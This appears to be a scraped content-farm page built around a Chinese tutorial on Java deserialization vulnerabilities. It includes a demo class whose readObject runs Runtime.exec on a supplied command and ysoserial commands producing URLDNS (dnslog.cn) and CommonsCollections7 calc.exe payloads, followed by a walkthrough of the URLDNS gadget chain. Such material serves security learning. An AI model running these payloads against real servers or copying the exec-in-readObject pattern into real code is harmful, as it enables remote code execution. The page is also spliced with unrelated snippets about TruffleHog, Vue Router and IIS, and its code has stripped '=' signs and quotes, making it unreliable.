建设网站要不要投资钱河南省城乡与住房建设厅网站

张小明 2026/1/7 11:18:14
建设网站要不要投资钱,河南省城乡与住房建设厅网站,企业网站中文域名有必要续费吗,广告设计公司简介内容一些基本的概念为什么要序列化#xff1f;1.数据持久化2.远程传输3.缓存 提高访问速度什么样的数据可以进行序列化#xff1f;被序列化的类必须属于 Enum、Array 和 Serializable 类型其中的任何⼀种#xff0c;否则将抛出NotSerializableException 异常序列化#xff1a;把…一些基本的概念为什么要序列化1.数据持久化2.远程传输3.缓存 提高访问速度什么样的数据可以进行序列化被序列化的类必须属于 Enum、Array 和 Serializable 类型其中的任何⼀种否则将抛出NotSerializableException 异常序列化把⼀个Java对象变为 byte[] 数组需要使⽤ ObjectOutputStream 。它负责把⼀个Java对象写⼊⼀个字节流。反序列化和 ObjectOutputStream 相反 ObjectInputStream 负责从⼀个字节流读取Java对象反序列化时可能会出现的异常1.ClassNotFoundException 没有找到对应的Class2.InvalidClassException Class不匹配serialVersionUIDJava的序列化允许class定义⼀个特殊的 serialVersionUID 静态变量⽤于标识Java类的序列化“版本”通常可以由IDE⾃动⽣成。如果增加或修改了字段可以改变 serialVersionUID 的值这样就能⾃动阻⽌不匹配的class版本。基本的使用写几段代码更好地去理解java序列化 反序列化的过程1.java序列化代码Test类import java.io.IOException; import java.io.Serializable; public class Test implements Serializable { private String cmd; public Test(String cmd) { this.cmd cmd; } //重写readObject方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); System.out.println(cmd); Runtime.getRuntime().exec(cmd);//代码执行点 } }主类import java.io.FileNotFoundException; import java.io.FileOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; //TIP 要b运行/b代码请按 shortcut actionIdRun/ 或 // 点击装订区域中的 icon srcAllIcons.Actions.Execute/ 图标。 public class Main { public static void main(String[] args) throws IOException { Test test new Test(calc.exe); //将序列化内容写⼊⽂件 FileOutputStream fos new FileOutputStream(test1.ser); ObjectOutputStream oos new ObjectOutputStream(fos); oos.writeObject(test); oos.close(); fos.close(); } }2.java反序列化代码Test类import java.io.IOException; import java.io.Serializable; public class Test implements Serializable { private String cmd; public Test(String cmd) { this.cmd cmd; } //重写readObject方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); System.out.println(cmd); Runtime.getRuntime().exec(cmd);//代码执行点 } }主类import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; //TIP 要b运行/b代码请按 shortcut actionIdRun/ 或 // 点击装订区域中的 icon srcAllIcons.Actions.Execute/ 图标。 public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { //从⽂件中读取并反序列化 FileInputStream fio new FileInputStream(test1.ser); ObjectInputStream ois new ObjectInputStream(fio); Test bbbb (Test)ois.readObject(); ois.close(); fio.close(); System.out.println(bbbb); } }3.执行serialize项目序列化代码执行序列化 生成test1.ser序列化文件010editor打开文件看下序列化的文件内容序列化文件头AC ED 00 05还依稀能看到我们传入的calc.exe参数4.复制test1.ser文件到unserialize项目文件夹下 模拟序列化数据传到服务端的业务场景运行项目 进行反序列化 成功弹出计算器反序列化漏洞利用成功后续测试1.此时是服务端也就是unserialize项目有Test类的情况如果现在把服务端unserialize项目中的Test类删除还可以正常进行反序列化弹出计算器吗当然删了Test会报红 需要对主类进行一些修改import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; //TIP 要b运行/b代码请按 shortcut actionIdRun/ 或 // 点击装订区域中的 icon srcAllIcons.Actions.Execute/ 图标。 public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { //从⽂件中读取并反序列化 FileInputStream fio new FileInputStream(test1.ser); ObjectInputStream ois new ObjectInputStream(fio); Object bbbb ois.readObject(); ois.close(); fio.close(); System.out.println(bbbb); } }这时候再运行会报ClassNotFoundException这时就无法正常进行反序列化了2.那如果是服务端的Test类unserialize项目和我们生成序列化数据的类serialize项目不一样 服务端还可以反序列化成功吗还原主类 修改Test类Test类新加了一个aaaa的string字段import java.io.IOException; import java.io.Serializable; public class Test implements Serializable { private String cmd; public String aaaa; public Test(String cmd) { this.cmd cmd; } //重写readObject方法 private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); System.out.println(cmd); Runtime.getRuntime().exec(cmd);//代码执行点 } }主类import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; //TIP 要b运行/b代码请按 shortcut actionIdRun/ 或 // 点击装订区域中的 icon srcAllIcons.Actions.Execute/ 图标。 public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { //从⽂件中读取并反序列化 FileInputStream fio new FileInputStream(test1.ser); ObjectInputStream ois new ObjectInputStream(fio); Test bbbb (Test)ois.readObject(); ois.close(); fio.close(); System.out.println(bbbb); } }执行后出现InvalidClassException异常工具的使用以上的代码只是一个测试的例子实际业务中的代码不会有这种写法。那对于实际业务该如何去发现和利用反序列化漏洞呢首先就是看项目代码中有没有反序列化的写法以及序列化的数据用户是不是可控的如果以上两点都满足就可以去验证利用一下反序列化的漏洞了。java的反序列化漏洞利用是要依赖攻击链的我们通常称利用链为gadget可以将 gadget理解为⼀种⽅法它连接的是从触发位置开始到执⾏命令的位置结束。Java标准库及第三方公共类库组合达到某个反序列化漏洞不同的攻击链依赖的组件不同所以能达到的攻击效果也是不同的上面的代码中的readobject()方法其实就是模拟了一个利用链。利用链太多了所以我们需要工具来帮助我们生成某个利用链的序列化数据payload。比如ysoserialysoserial工具的使用1.查看利用链 和依赖的组件java -jar ysoserial-all.jar第三列的就是利用链要依赖的组件必须确保利用链有引入依赖组件版本才可以利用。空白的表示不需要组件的依赖有多个的表示服务端只要有其中一个组件就可以利用。2.开始利用为了方便引入各个组件 可以再新建一个maven构建系统的项目代码如下package org.example; import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.io.ObjectInputStream; //TIP 要b运行/b代码请按 shortcut actionIdRun/ 或 // 点击装订区域中的 icon srcAllIcons.Actions.Execute/ 图标。 public class Main { public static void main(String[] args) throws IOException, ClassNotFoundException { //从⽂件中读取并反序列化 FileInputStream fio new FileInputStream(payload.ser); ObjectInputStream ois new ObjectInputStream(fio); Object bbbb ois.readObject(); ois.close(); fio.close(); System.out.println(bbbb); } }这次就彻底没有Test类了我们先试一下URLDNS链 它不需要组件的依赖 我们试一试java -jar ysoserial-all.jar URLDNS http://d5285u.dnslog.cn payload1.ser序列化的payload生成成功复制到unserialize2项目路径下 记得改代码中的文件名利用CommonsCollections1攻击链需要commons-collections:3.1组件用pom.xml导入利用ysoserial生成paylaod但是CommonsCollections1利用链执行失败了 可能和jdk版本有关系 后来换到了CommonsCollections7才执行成功java -jar ysoserial-all.jar CommonsCollections7 calc.exe payload7毕竟CommonsCollections7利用链也是依赖ommons-collections:3.1嘛。URLDNS利用链分析urldns链是最简单的利用链了通过分析它可以更清晰地了解到攻击链的调用过程也能加深理解。java -jar ysoserial-all.jar URLDNS http:6w1qwt.dnslog.cn urldns1.加断点跟进调试2.强制步入readObject()方法发现又调用了readObject0()方法 步入到这儿其实已经读取序列化数据了 通过switch case语句来看到底是什么类型的对象确认是object的类步入readOrdinaryObject()函数有检查序列化依赖的类是否在本地存在 依赖的是HashMap类继续往下看 新建一个HashMap对象 当前为空通过readSerialData()方法向新建的空的obj类型为HashMap的对象赋值步入readSerialData()方法查看详情有获取一些序列化的数据 判断是否存在readObject方法继续看有通过invokeReadObject()反射函数处理obj对象步入invokeReadObject()函数接下来就是一连串的反射 持续跟进再步入就到了HashMap.java 到这儿其实都是每个利用链一样的调用链 用其他利用链 比如CommonsCollections7利用链 到这儿其实都一样 接下来就是每个利用链独有的东西了。readObject()函数的作用就是更好地还原对象接下来有调用putVal()函数 和hash()函数key的值便是dnslog平台的地址步入hash()函数当key值不为空的时候会调hashCode()函数步入hashCode()函数 进入URL.java文件当hashCode值为-1时 会有handler调用hashCode步入handler.hashCode()u就是我们传入的序列化数据的域名有调用getHostAddress()函数步入getHostAddress()函数有调用InetAddress.getByName()函数这个函数的作用呢就是根据域名解析获取到ip地址 自然会用dns解析的过程到这儿其实这个URLDNS链就分析完成了已经是最短的利用链了涉及到的文件HashMap URL URLStreamHandler等都是jdk库自带的 所以不需要其他的组件就可以执行成功
版权声明:本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

成都网站建设团队ui设计招聘

TruffleHog实战指南:3步构建企业级凭证安全防护体系 【免费下载链接】trufflehog Find and verify credentials 项目地址: https://gitcode.com/GitHub_Trending/tr/trufflehog 在当今数字化时代,凭证安全扫描已成为每个开发团队必须掌握的核心技…

张小明 2026/1/6 15:30:13 网站建设

网站打不开是怎么回事wordpress阅读数作假

[toc] 前言:这不是“谁更好”,而是“谁解决的问题不同” 很多团队在同时做 Web 和 RN 项目时,都会下意识问一句:Vue Router 这套东西,在 RN 里能不能也照着来?如果你只是做 Demo,答案是「看起来…

张小明 2026/1/6 15:28:18 网站建设

网站维护属于什么专业北京企业网站建设哪家好

例,深入剖析数湖仓分层设计,最后探讨数据仓库技术趋势并进行小结。本文为系列文章首篇,详细剖析了数据仓库分层的概念与设计,希望能够为相关从业者提供数据湖仓设计与实践的系统指引。💓 温馨提醒:纯干货分…

张小明 2026/1/6 15:28:19 网站建设

南通手机建站模板专业建设企业网站

第一章:VSCode 的 Cirq 代码补全 插件Visual Studio Code(VSCode)作为现代开发者广泛使用的集成开发环境,其强大的扩展生态系统为量子计算开发提供了便利。在使用 Google 开源的量子编程框架 Cirq 时,配置高效的代码补…

张小明 2026/1/6 15:28:20 网站建设

做网站可以用新建项目的方式吗wordpress文章获取接口

快速体验 打开 InsCode(快马)平台 https://www.inscode.net输入框内输入如下内容: 设计一个极简的视频字幕去除工具,特点:1.三步操作流程(上传-处理-下载) 2.全自动处理无需设置 3.内置使用教程动画 4.错误自动修复 5.手机端适配界面。限制输…

张小明 2026/1/6 15:28:21 网站建设

网站建设预付款如何付做文字图网站

Windows Vista 中 IIS 7 的使用与网站搭建指南 在 Windows 操作系统中,互联网信息服务(IIS)是一项重要的功能,它允许用户在本地搭建网站。本文将详细介绍在 Windows Vista 中使用 IIS 7 搭建和管理网站的相关内容。 1. IIS 7 相较于 IIS 5.1 的优势 如果你之前在 Window…

张小明 2026/1/6 15:28:23 网站建设